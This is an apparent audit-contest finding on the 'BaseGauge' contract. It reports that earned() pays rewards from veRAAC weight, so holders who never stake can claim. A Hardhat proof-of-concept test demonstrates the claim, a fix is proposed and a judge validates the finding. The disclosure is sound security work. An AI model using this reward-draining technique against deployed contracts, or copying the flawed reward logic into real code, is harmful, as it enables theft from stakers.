Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

`BaseGauge` users can claim rewards without staking

Summary

The BaseGauge::earned() function incorrectly calculates rewards based on user's veRAAC balance and total staked amount, rather than the user's staked amount. This allows users with veRAAC tokens to claim rewards without staking, effectively stealing rewards from legitimate stakers.

Vulnerability Details

The vulnerability exists in the earned() function which calculates rewards using getUserWeight() instead of the user's staked balance. The getUserWeight() function applies a boost based on veRAAC balance without checking if the user has any staked tokens.

function earned(address account) public view returns (uint256) {
@> return (getUserWeight(account) *
(getRewardPerToken() - userStates[account].rewardPerTokenPaid) / 1e18
) + userStates[account].rewards;
}
function getRewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored + (
@> (lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 / totalSupply() // Uses total staked supply
);
}
function getUserWeight(address account) public view virtual returns (uint256) {
uint256 baseWeight = _getBaseWeight(account);
@> return _applyBoost(account, baseWeight);
}
function _applyBoost(address account, uint256 baseWeight) internal view virtual returns (uint256) {
if (baseWeight == 0) return 0;
IERC20 veToken = IERC20(IGaugeController(controller).veRAACToken());
@> uint256 veBalance = veToken.balanceOf(account); // Uses user's veRAAC balance
@> uint256 totalVeSupply = veToken.totalSupply(); // Uses total veRAAC supply
// Create BoostParameters struct from boostState
BoostCalculator.BoostParameters memory params = BoostCalculator.BoostParameters({
maxBoost: boostState.maxBoost,
minBoost: boostState.minBoost,
boostWindow: boostState.boostWindow,
totalWeight: boostState.totalWeight,
totalVotingPower: boostState.totalVotingPower,
votingPower: boostState.votingPower
});
uint256 boost = BoostCalculator.calculateBoost(
veBalance,
totalVeSupply,
params
);
return (baseWeight * boost) / 1e18;
}

Key issues:

  • earned() uses getUserWeight() which only depends on veRAAC balance

  • No check for positive staked balance in earned() or getReward()

  • Rewards can be claimed by any veRAAC holder after others stake

This means a user with veRAAC tokens can:

  • Wait for others to stake tokens

  • Claim rewards without staking anything

  • Repeat this process to continuously drain rewards

Impact

High severity as this allows:

  • Direct theft of rewards from legitimate stakers

  • Complete bypass of staking requirement

  • Continuous draining of reward tokens

  • Breaking of core gauge functionality

Tools Used

Manual review

Proof of Concept

First a bug in the BaseGauge::constructor() function need to be fixed, as this cause overflow in the calculations due to a incorrect assignment of boostState.minBoost:

- boostState.minBoost = 1e18;
+ boostState.minBoost = 10000;

Add the following test case to the test/unit/core/governance/gauges/GaugeController.test.js file:

it("claim rewards without staking", async () => {
// mint reward token to gauge to be able to distribute rewards
await rewardToken.mint(rwaGauge.target, ethers.parseEther("100000000000000000000"));
// mint veRAAC token to user to be able to stake and vote
await veRAACToken.mint(user1.address, ethers.parseEther("2000"));
// mint veRAAC token to user2 to be able to claim rewards without staking
await veRAACToken.mint(user2.address, ethers.parseEther("1000"));
// User1 vote for rwa gauge
await gaugeController.connect(user1).vote(await rwaGauge.getAddress(), 5000);
// User1 stake
await veRAACToken.connect(user1).approve(rwaGauge.target, ethers.parseEther("1000"));
await rwaGauge.connect(user1).stake(ethers.parseEther("1000"));
// Reward distribution
await gaugeController.distributeRewards(rwaGauge.target);
// advance time one week
await time.increase(WEEK);
const earnedUser1 = await rwaGauge.earned(user1.address);
const earnedUser2 = await rwaGauge.earned(user2.address);
expect(earnedUser1).to.be.gt(0);
expect(earnedUser2).to.be.gt(0);
// User2 accumulated the same amount of rewards without staking
expect(earnedUser2).to.be.equal(earnedUser1);
const balanceBeforeClaim = await rewardToken.balanceOf(user2.address);
expect(balanceBeforeClaim).to.be.equal(0);
// claim rewards
await rwaGauge.connect(user2).getReward();
const balanceAfterClaim = await rewardToken.balanceOf(user2.address);
expect(balanceAfterClaim).to.be.gt(0);
});

Recommendations

Modify the earned() function to check for staked balance:

function earned(address account) public view returns (uint256) {
+ if (_balances[account] == 0) return 0;
- return (getUserWeight(account) *
+ return (_balances[account] *
(getRewardPerToken() - userStates[account].rewardPerTokenPaid) / 1e18
) + userStates[account].rewards;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.